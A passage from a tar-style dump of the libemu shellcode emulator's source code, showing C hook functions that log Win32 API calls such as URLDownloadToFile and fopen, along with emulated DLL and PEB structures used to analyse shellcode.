size); emu_profile_argument_add_int(env->profile, "DWORD" , "flNewProtect", newprotect); emu_profile_argument_add_int(env->profile, "PDWORD" , "lpflOldProtectt", newprotect); emu_profile_function_returnvalue_int_set(env->profile, "BOOL", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/emu_env_w32_dll_export.c0000644000175300017530000000424511706767213024676 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include // for the socket hooks #include #include #include #include #include #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/emu_string.h" struct emu_env_w32_dll_export *emu_env_w32_dll_export_new(void) { struct emu_env_w32_dll_export *exp = (struct emu_env_w32_dll_export *)malloc(sizeof(struct emu_env_w32_dll_export)); memset(exp,0,sizeof(struct emu_env_w32_dll_export)); return exp; } void emu_env_w32_dll_export_free(struct emu_env_w32_dll_export *exp) { free(exp); } void emu_env_w32_dll_export_copy(struct emu_env_w32_dll_export *to, struct emu_env_w32_dll_export *from) { to->fnhook = from->fnhook; to->fnname = from->fnname; to->virtualaddr = from->virtualaddr; } libemu-0.2.0+git20120122+564/src/environment/win32/env_w32_dll_export_urlmon_hooks.c0000644000175300017530000000764211706767213026633 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include "../../../config.h" #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_urlmon_hooks.h" int32_t env_w32_hook_URLDownloadToFileA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* HRESULT URLDownloadToFile( LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB ); */ uint32_t p_caller; POP_DWORD(c, &p_caller); uint32_t p_url; POP_DWORD(c, &p_url); struct emu_string *url = emu_string_new(); emu_memory_read_string(c->mem, p_url, url, 512); uint32_t p_filename; POP_DWORD(c, &p_filename); struct emu_string *filename = emu_string_new(); emu_memory_read_string(c->mem, p_filename, filename, 512); uint32_t reserved; POP_DWORD(c, &reserved); uint32_t statuscallbackfn; POP_DWORD(c, &statuscallbackfn); uint32_t returnvalue=0; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, NULL, emu_string_char(url), emu_string_char(filename), 0, NULL); }else { returnvalue = 0; } emu_cpu_reg32_set(c, eax, returnvalue); // logDebug(env->emu, " %s -> %s\n", emu_string_char(url), emu_string_char(filename)); if (env->profile != NULL) { emu_profile_function_add(env->profile, "URLDownloadToFile"); emu_profile_argument_add_ptr(env->profile, "LPUNKNOWN", "pCaller", p_caller); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "szURL", p_url); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(url)); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "szFileName", p_filename); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(filename)); emu_profile_argument_add_int(env->profile, "DWORD", "dwReserved", reserved); emu_profile_argument_add_int(env->profile, "LPBINDSTATUSCALLBACK", "lpfnCB", statuscallbackfn); emu_profile_function_returnvalue_int_set(env->profile, "HRESULT", returnvalue); } emu_string_free(url); emu_string_free(filename); emu_cpu_eip_set(c, eip_save); return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/env_w32_dll_export_msvcrt_hooks.c0000644000175300017530000001625511706767213026635 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include "../../../config.h" #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_msvcrt_hooks.h" int32_t env_w32_hook__execv(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* intptr_t _execv( const char *cmdname, const char *const *argv ); intptr_t _wexecv( const wchar_t *cmdname, const wchar_t *const *argv ); */ uint32_t p_cmdname; POP_DWORD(c, &p_cmdname); struct emu_string *cmdname = emu_string_new(); emu_memory_read_string(c->mem, p_cmdname, cmdname, 512); uint32_t p_argv; POP_DWORD(c, &p_argv); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "_execv"); emu_profile_argument_add_ptr(env->profile, "const char *", "cmdname", p_cmdname); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(cmdname)); emu_profile_argument_add_ptr(env->profile, "const char *const *", "argv", p_argv); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "int ", 0); } emu_string_free(cmdname); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_fclose(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* int _fcloseall( void ); int fclose( FILE *stream ); */ uint32_t p_stream; MEM_DWORD_READ(c, c->reg[esp], &p_stream); logDebug(env->emu, "fclose(0x%08x)\n", p_stream); emu_cpu_reg32_set(c, eax, 0); if (env->profile != NULL) { emu_profile_function_add(env->profile, "fclose"); emu_profile_argument_add_ptr(env->profile, "FILE *", "stream", p_stream); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "int", 0); } emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_fopen(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* FILE *fopen( const char *filename, const char *mode ); FILE *_wfopen( const wchar_t *filename, const wchar_t *mode ); */ uint32_t p_filename; MEM_DWORD_READ(c, c->reg[esp], &p_filename); struct emu_string *filename = emu_string_new(); emu_memory_read_string(c->mem, p_filename, filename, 512); uint32_t p_mode; MEM_DWORD_READ(c, c->reg[esp]+4, &p_mode); struct emu_string *mode = emu_string_new(); emu_memory_read_string(c->mem, p_mode, mode, 512); // printf("fopen(%s, %s)\n", emu_string_char(filename), (char *)mode->data); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, emu_string_char(filename), emu_string_char(mode)); }else { returnvalue = 0x89898989; } emu_cpu_reg32_set(c, eax, returnvalue); if (env->profile != NULL) { emu_profile_function_add(env->profile, "fopen"); emu_profile_argument_add_ptr(env->profile, "const char *", "filename", p_filename); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(filename)); emu_profile_argument_add_ptr(env->profile, "const char *", "mode", p_mode); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(mode)); emu_profile_function_returnvalue_ptr_set(env->profile, "FILE *", returnvalue); emu_profile_argument_add_none(env->profile); } emu_string_free(filename); emu_string_free(mode); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* size_t fwrite( const void *buffer, size_t size, size_t count, FILE *stream ); */ uint32_t p_buffer; MEM_DWORD_READ(c, c->reg[esp], &p_buffer); uint32_t size; MEM_DWORD_READ(c, (c->reg[esp]+4), &size); uint32_t count; MEM_DWORD_READ(c, (c->reg[esp]+8), &count); unsigned char *buffer = malloc(size*count); emu_memory_read_block(emu_memory_get(env->emu), p_buffer, buffer, size*count); uint32_t p_stream; MEM_DWORD_READ(c, c->reg[esp]+12, &p_stream); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, buffer, size, count, p_stream); }else { returnvalue = size*count; } logDebug(env->emu, "fwrite(0x%08x, %d, %d, 0x%08x)\n", p_buffer, size, count, p_stream); emu_cpu_reg32_set(c, eax, returnvalue); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "fwrite"); emu_profile_function_returnvalue_int_set(env->profile, "size_t", returnvalue); emu_profile_argument_add_ptr(env->profile, "const void *", "buffer", p_buffer); emu_profile_argument_add_bytea(env->profile, "", "", buffer, size*count); emu_profile_argument_add_int(env->profile, "size_t", "size", size); emu_profile_argument_add_int(env->profile, "count_t", "count", count); emu_profile_argument_add_ptr(env->profile, "FILE *", "stream", p_stream); emu_profile_argument_add_none(env->profile); } free(buffer); emu_cpu_eip_set(c, eip_save); return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/emu_env_w32.c0000644000175300017530000004573211706767213022450 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_memory.h" #include "emu/emu_hashtable.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_hooks.h" #include "emu/emu_log.h" extern const char kernel32_dll_7c800000[]; extern const char kernel32_dll_7c801000[]; extern const char ws2_32_71a10000[]; extern const char ws2_32_71a11000[]; extern const char msvcrt_77be0000[]; extern const char msvcrt_77C28970[]; extern const char urlmon_7DF20000[]; extern const char urlmon_7DF21000[]; // added -dzzie extern const char user32_7E410000[]; /* pe header and section table */ extern const char user32_7e413900[]; /* export table */ extern const char shell32_7C9C0000[]; /* pe header and section table */ extern const char shell32_7c9e7d50[]; /* export table */ extern const char wininet_3D930000[]; /* pe header and section table 2-2-11*/ extern const char wininet_3d931844[]; /* export table */ extern const char ntdll_7C900000[]; /* pe header and section table 2-5-11*/ extern const char ntdll_7c903400[]; /* export table */ extern const char shlwapi_77F60000[]; /* pe header and section table 3-10-11*/ extern const char shlwapi_77f61820[]; /* export table */ extern const char advapi32_77DD0000[]; extern const char advapi32_77dd16A4[]; extern const char shdocvw_7E290000[]; extern const char shdocvw_7E2A4480[]; struct emu_env_w32_known_dll_segment kernel32_segments[] = { { .address = 0x7c800000, .segment = kernel32_dll_7c800000, .segment_size = 641, }, { .address = 0x7c801000, .segment = kernel32_dll_7c801000, /* - 7C808F71 */ .segment_size = 32625, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment ws2_32_segments[] = { { .address = 0x71a10000, .segment = ws2_32_71a10000, .segment_size = 786, }, { .address = 0x71a11000, .segment = ws2_32_71a11000, .segment_size = 5634, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment msvcrt_segments[] = { { .address = 0x77be0000, .segment = msvcrt_77be0000, .segment_size = 5634, }, { .address = 0x77C28970, .segment = msvcrt_77C28970, .segment_size = 17328, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment urlmon_segments[] = { { .address = 0x7DF20000, .segment = urlmon_7DF20000, .segment_size = 786, }, { .address = 0x7DF21000, .segment = urlmon_7DF21000, .segment_size = 6144, }, { 0, NULL, 0 } }; //dzzie 1-26-11 struct emu_env_w32_known_dll_segment user32_segments[] = { { .address = 0x7E410000, .segment = user32_7E410000, .segment_size = 0x2cf, }, { .address = 0x7e413900, .segment = user32_7e413900, .segment_size = 0x4baf, }, { 0, NULL, 0 } }; //dzzie 1-26-11 struct emu_env_w32_known_dll_segment shell32_segments[] = { { .address = 0x7C9C0000, .segment = shell32_7C9C0000, .segment_size = 0x28f, }, { .address = 0x7c9e7d50, .segment = shell32_7c9e7d50, .segment_size = 0x291f, }, { 0, NULL, 0 } }; //dzzie 2-2-11 struct emu_env_w32_known_dll_segment wininet_segments[] = { { .address = 0x3D930000, .segment = wininet_3D930000, .segment_size = 0x2Af, }, { .address = 0x3d931844, .segment = wininet_3d931844, .segment_size = 0x1d4f, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment ntdll_segments[] = { { .address = 0x7C900000, .segment = ntdll_7C900000, .segment_size = 0x27f, }, { .address = 0x7c903400, .segment = ntdll_7c903400, .segment_size = 0x9a5f, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment shlwapi_segments[] = { { .address = 0x77F60000, .segment = shlwapi_77F60000, .segment_size = 0x39f, }, { .address = 0x77f61820, .segment = shlwapi_77f61820, .segment_size = 0x27ff, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment advapi32_segments[] = { { .address = 0x77DD0000, .segment = advapi32_77DD0000, .segment_size = 0x31f, }, { .address = 0x77dd16A4, .segment = advapi32_77dd16A4, .segment_size = 0x5253, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll_segment shdocvw_segments[] = { { .address = 0x7E290000, .segment = shdocvw_7E290000, .segment_size = 0x36f, }, { .address = 0x7E2A4480, .segment = shdocvw_7E2A4480, .segment_size = 0x4e0, }, { 0, NULL, 0 } }; struct emu_env_w32_known_dll known_dlls[] = { { /* dummy entry for the PEB/LDR lists * shares base address with kernel32 * it should be possible to have this working without such * hacks, but ... for now it works */ .dllname = "self", .baseaddress = 0x7C800000, .imagesize = 0xf6000, //0x00106000, -changed dz.. }, { .dllname = "kernel32", //this must always be first dll -dz .baseaddress = 0x7C800000, .imagesize = 0xf6000, //0x00106000, //xpsp2 is only f600 and still same base..this way no conflict with ntdll..not sure where org sz came from.. dz .exports = kernel32_exports, /* last export = lstrlenW - > 7c809a09 so were good */ .memory_segments = kernel32_segments, }, /* org end at 7C906000 - modded now ends at 7C80f6000 so no collision with ntdll..) */ { .dllname = "ntdll", /* dzzie 2-5-11 */ .baseaddress = 0x7C900000, .imagesize = 0xB2000, .exports = ntdll_exports, .memory_segments = ntdll_segments, }, { .dllname = "ws2_32", .baseaddress = 0x71A10000, .imagesize = 0x17000, .exports = ws2_32_exports, .memory_segments = ws2_32_segments, }, { .dllname = "msvcrt", .baseaddress = 0x77BE0000, .imagesize = 0x58000, .exports = msvcrt_exports, .memory_segments = msvcrt_segments, }, { .dllname = "shell32", /* dzzie 1-26-11 */ .baseaddress = 0x7C9C0000, .imagesize = 0x817000, .exports = shell32_exports, .memory_segments = shell32_segments, }, /*ends at 7D1D7000 */ { .dllname = "shdocvw", /* dzzie 3.12.11 */ .baseaddress = 0x7E290000, .imagesize = 0x171000, .exports = shdocvw_exports, .memory_segments = shdocvw_segments, }, /*ends at 7E401000 */ { .dllname = "advapi32", .baseaddress = 0x77DD0000, .imagesize = 0x9B000, .exports = advapi32_exports, .memory_segments = advapi32_segments, }, /*ends at 77E6B000 export table data ends at 77DD68F6. 3.12.11*/ { .dllname = "shlwapi", /* dzzie 3-10-11 */ .baseaddress = 0x77F60000, .imagesize = 0x76000, .exports = shlwapi_exports, .memory_segments = shlwapi_segments, }, { .dllname = "urlmon", .baseaddress = 0x7DF20000, .imagesize = 0xA0000, .exports = urlmon_exports, .memory_segments = urlmon_segments, }, /*ends at 7DFC0000 */ { .dllname = "user32", /* dzzie 1-26-11 */ .baseaddress = 0x7E410000, .imagesize = 0x00091000, .exports = user32_exports, .memory_segments = user32_segments, }, /*ends at 7E4A1000 */ { .dllname = "wininet", /* dzzie 2-2-11 */ .baseaddress = 0x3D930000, .imagesize = 0xD1000, .exports = wininet_exports, .memory_segments = wininet_segments, }, { .dllname = NULL, .baseaddress = 0, .imagesize = 0, .exports = NULL, .memory_segments = NULL, }, }; struct emu_env_w32 *emu_env_w32_new(struct emu *e) { struct emu_env_w32 *env = (struct emu_env_w32 *)malloc(sizeof(struct emu_env_w32)); memset(env,0,sizeof(struct emu_env_w32)); // env->profile = emu_profile_new(); env->emu = e; // write TEB and linklist struct emu_memory *mem = emu_memory_get(e); enum emu_segment oldseg = emu_memory_segment_get(mem); // 0041709D 64:8B43 30 MOV EAX,DWORD PTR FS:[EBX+30] // 7FFDF030 00 40 FD 7F .@ý // 7FFDE030 00 F0 FD 7F .ðý emu_memory_segment_select(mem,s_fs); emu_memory_write_dword(mem,0x30,0x7ffdf000); emu_memory_segment_select(mem,oldseg); // 004170A1 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] // 7FFDF00C A0 1E 25 00  %. emu_memory_write_dword(mem,0x7ffdf00c,0x00251ea0); // 004170A4 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] // 00251EBC 58 1F 25 00 X%. // emu_memory_write_dword(mem,0x00251ebc,0x00251f58); // 004170A7 AD LODS DWORD PTR DS:[ESI] // 00251F58 20 20 25 00 %. // emu_memory_write_dword(mem,0x00251f58,0x00252020); // 004170A8 8B40 08 MOV EAX,DWORD PTR DS:[EAX+8] ; kernel32.7C800000 // 00252028 00 00 80 7C // emu_memory_write_dword(mem,0x00252028,0x7C800000); // http://www.nirsoft.net/kernel_struct/vista/UNICODE_STRING.html typedef struct _UNICODE_STRING { uint16_t Length; uint16_t MaximumLength; uint32_t Buffer; } UNICODE_STRING, *PUNICODE_STRING; // PEB_LDR_DATA Structure // http://msdn.microsoft.com/en-us/library/aa813708%28VS.85%29.aspx typedef struct _LIST_ENTRY { // struct _LIST_ENTRY *Flink; uint32_t Flink; uint32_t Blink; // struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY; //, *RESTRICTED_POINTER PRLIST_ENTRY; typedef uint32_t PVOID; typedef unsigned char BYTE; typedef uint32_t ULONG; typedef struct _LDR_DATA_TABLE_ENTRY { /* 0x00 */ LIST_ENTRY InLoadOrderLinks; /* 0x08 */ LIST_ENTRY InMemoryOrderLinks; /* 0x0f */ LIST_ENTRY InInitializationOrderLinks; /* 0x18 */ uint32_t DllBase; /* 0x1c */ uint32_t EntryPoint; /* 0x1f */ uint32_t Reserved3; /* 0x24 */ UNICODE_STRING FullDllName; /* 0x2c */ UNICODE_STRING BaseDllName; /* 0x00 */ uint32_t Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; uint32_t TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; // http://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html typedef struct _PEB_LDR_DATA { /* 0x00 */ uint32_t Length; /* 0x04 */ uint8_t Initialized[4]; /* 0x08 */ uint32_t SsHandle; /* 0x0c */ LIST_ENTRY InLoadOrderModuleList; /* 0x14 */ LIST_ENTRY InMemoryOrderModuleList; /* 0x1c */ LIST_ENTRY InInitializationOrderModuleList; /* 0x24 */ uint8_t EntryInProgress; } PEB_LDR_DATA, *PPEB_LDR_DATA; struct _PEB_LDR_DATA peb_ldr_data; peb_ldr_data.InMemoryOrderModuleList.Flink = 0x00251ea0 + 0x1000 + offsetof(struct _LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); peb_ldr_data.InInitializationOrderModuleList.Flink = 0x00251ea0 + 0x1000 + offsetof(struct _LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks); emu_memory_write_block(mem, 0x00251ea0, &peb_ldr_data, sizeof(peb_ldr_data)); uint32_t magic_offset = 0x00251ea0+0x1000; struct _LDR_DATA_TABLE_ENTRY tables[16]; memset(tables, 0, sizeof(tables)); char names[16][64]; memset(names, 0, sizeof(names)); int i; for ( i=0; known_dlls[i].dllname != NULL; i++ ) { struct emu_env_w32_known_dll *from = known_dlls+i; struct _LDR_DATA_TABLE_ENTRY *to = tables+i; to->DllBase = from->baseaddress; to->BaseDllName.Length = (strlen(from->dllname) + strlen(".dll")) * 2 + 2; to->BaseDllName.MaximumLength = to->BaseDllName.Length;// + 2; to->BaseDllName.Buffer = magic_offset + sizeof(tables) + i * 64; to->InMemoryOrderLinks.Blink = 0xaabbccdd; to->InMemoryOrderLinks.Flink = magic_offset + (i+1) * sizeof(struct _LDR_DATA_TABLE_ENTRY) + offsetof(struct _LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); to->InInitializationOrderLinks.Blink = 0xa1b2c3d4; to->InInitializationOrderLinks.Flink = magic_offset + (i+1) * sizeof(struct _LDR_DATA_TABLE_ENTRY) + offsetof(struct _LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks); int j; for( j=0;jdllname); j++ ) names[i][j*2] = from->dllname[j]; const char *dll = ".dll"; int k; for( k=0;kloaded_dlls[numdlls] != NULL) { emu_env_w32_dll_free(env->loaded_dlls[numdlls]); numdlls++; } free(env->loaded_dlls); // emu_profile_free(env->profile); free(env); } int32_t emu_env_w32_load_dll(struct emu_env_w32 *env, char *dllname) { logDebug(env->emu, "trying to load dll %s\n", dllname); int i; for ( i=1; known_dlls[i].dllname != NULL; i++ ) { if ( strncasecmp(dllname, known_dlls[i].dllname, strlen(known_dlls[i].dllname)) == 0 ) { logDebug(env->emu, "loading dll %s\n",dllname); struct emu_env_w32_dll *dll = emu_env_w32_dll_new(); struct emu_memory *mem = emu_memory_get(env->emu); dll->dllname = strdup(known_dlls[i].dllname); dll->baseaddr = known_dlls[i].baseaddress; dll->imagesize = known_dlls[i].imagesize; int j; for ( j=0; known_dlls[i].memory_segments[j].address != 0; j++ ) { logDebug(env->emu, " 0x%08x %i bytes\n", known_dlls[i].memory_segments[j].address, known_dlls[i].memory_segments[j].segment_size); emu_memory_write_block(mem, known_dlls[i].memory_segments[j].address, (void *)known_dlls[i].memory_segments[j].segment, known_dlls[i].memory_segments[j].segment_size); } emu_env_w32_dll_exports_copy(dll, known_dlls[i].exports); int numdlls=0; if ( env->loaded_dlls != NULL ) { while ( env->loaded_dlls[numdlls] != NULL ) numdlls++; } env->loaded_dlls = realloc(env->loaded_dlls, sizeof(struct emu_env_w32_dll *) * (numdlls+2)); env->loaded_dlls[numdlls] = dll; env->loaded_dlls[numdlls+1] = NULL; return 0; } } return -1; } struct emu_env_hook *emu_env_w32_eip_check(struct emu_env *env) { uint32_t eip = emu_cpu_eip_get(emu_cpu_get(env->emu)); int numdlls=0; while ( env->env.win->loaded_dlls[numdlls] != NULL ) { /* printf("0x%08x %s 0x%08x - 0x%08x \n", eip, env->loaded_dlls[numdlls]->dllname, env->loaded_dlls[numdlls]->baseaddr, env->loaded_dlls[numdlls]->baseaddr + env->loaded_dlls[numdlls]->imagesize); */ if ( eip > env->env.win->loaded_dlls[numdlls]->baseaddr && eip < env->env.win->loaded_dlls[numdlls]->baseaddr + env->env.win->loaded_dlls[numdlls]->imagesize ) { logDebug(env->env.win->emu, "eip %08x is within %s\n",eip, env->env.win->loaded_dlls[numdlls]->dllname); struct emu_env_w32_dll *dll = env->env.win->loaded_dlls[numdlls]; struct emu_hashtable_item *ehi = emu_hashtable_search(dll->exports_by_fnptr, (void *)(uintptr_t)(eip - dll->baseaddr)); if ( ehi == NULL ) { logDebug(env->emu, "unknown call to %08x\n", eip); return NULL; } struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value; if ( hook->hook.win->fnhook != NULL ) { hook->hook.win->fnhook(env, hook); return hook; } else { logDebug(env->emu, "unhooked call to %s\n", hook->hook.win->fnname); return hook; } } numdlls++; } return NULL; } int32_t emu_env_w32_export_hook(struct emu_env *env, const char *exportname, uint32_t (*fnhook)(struct emu_env *env, struct emu_env_hook *hook, ...), void *userdata) { int numdlls=0; while ( env->env.win->loaded_dlls[numdlls] != NULL ) { if (1)//dllname == NULL || strncasecmp(env->loaded_dlls[numdlls]->dllname, dllname, strlen(env->loaded_dlls[numdlls]->dllname)) == 0) { struct emu_hashtable_item *ehi = emu_hashtable_search(env->env.win->loaded_dlls[numdlls]->exports_by_fnname, (void *)exportname); if (ehi != NULL) { #if 0 printf("hooked %s\n", exportname); #endif struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value; hook->hook.win->userhook = fnhook; hook->hook.win->userdata = userdata; return 0; } } numdlls++; } #if 0 printf("hooking %s failed\n", exportname); #endif return -1; } int32_t emu_env_w32_step_failed(struct emu_env *env) { uint32_t FS_SEGMENT_DEFAULT_OFFSET = 0x7ffdf000; struct emu *e = env->emu; int i=0; int regs[8]; uint32_t seh = 0; uint32_t seh_handler = 0; const int default_handler = 0x7c800abc; struct emu_memory *m = emu_memory_get(e); //lets check and see if an exception handler has been set if( emu_memory_read_dword( m, FS_SEGMENT_DEFAULT_OFFSET, &seh) == -1 ) return -1; if( emu_memory_read_dword( m, seh+4, &seh_handler) == -1 ) return -1; if( seh_handler == 0 ) return -1; //better to check to see if code section huh? if( seh_handler == default_handler ) return -1; //not a real one dummy we put in place.. if( seh_handler == env->env.win->lastExceptionHandler ) { env->env.win->exception_count++; //really here is where we should walk the chain... if( env->env.win->exception_count >= 2 ) return -1; //if(seh == 0xFFFFFFFF) return -1; } else { env->env.win->exception_count = 0; env->env.win->lastExceptionHandler = seh_handler; } printf("\n%x\tException caught SEH=0x%x (seh foffset:%x)\n", env->env.win->last_good_eip, seh_handler, seh_handler);// - CODE_OFFSET); //now take our saved esp, add two ints to stack (subtract 8) and set org esp pointer there. uint32_t cur_esp = emu_cpu_reg32_get(emu_cpu_get(e), esp); uint32_t new_esp = cur_esp - 8; printf("\tcur_esp=%x new_esp=%x\n\n",cur_esp,new_esp); emu_cpu_eip_set(emu_cpu_get(e), seh_handler); regs[eax] = 0; regs[ebx] = 0; regs[esi] = 0; regs[edi] = 0; regs[ecx] = seh_handler; regs[edx] = 0xDEADBEEF; //unsure what this is was some ntdll addr 0x7C9032BC regs[esp] = new_esp; //update the registers with our new values for( i=0;i<8;i++ ) emu_cpu_reg32_set( emu_cpu_get(e), i , regs[i]); uint32_t write_at = new_esp + 8; emu_memory_write_dword(m, write_at, cur_esp); //write saved esp to stack return 0; //dont break in final error test..give it a chance...to work in next step } #include "dlls/kernel32dll.c" #include "dlls/ws2_32dll.c" #include "dlls/msvcrtdll.c" #include "dlls/urlmondll.c" #include "dlls/advapi32dll.c" 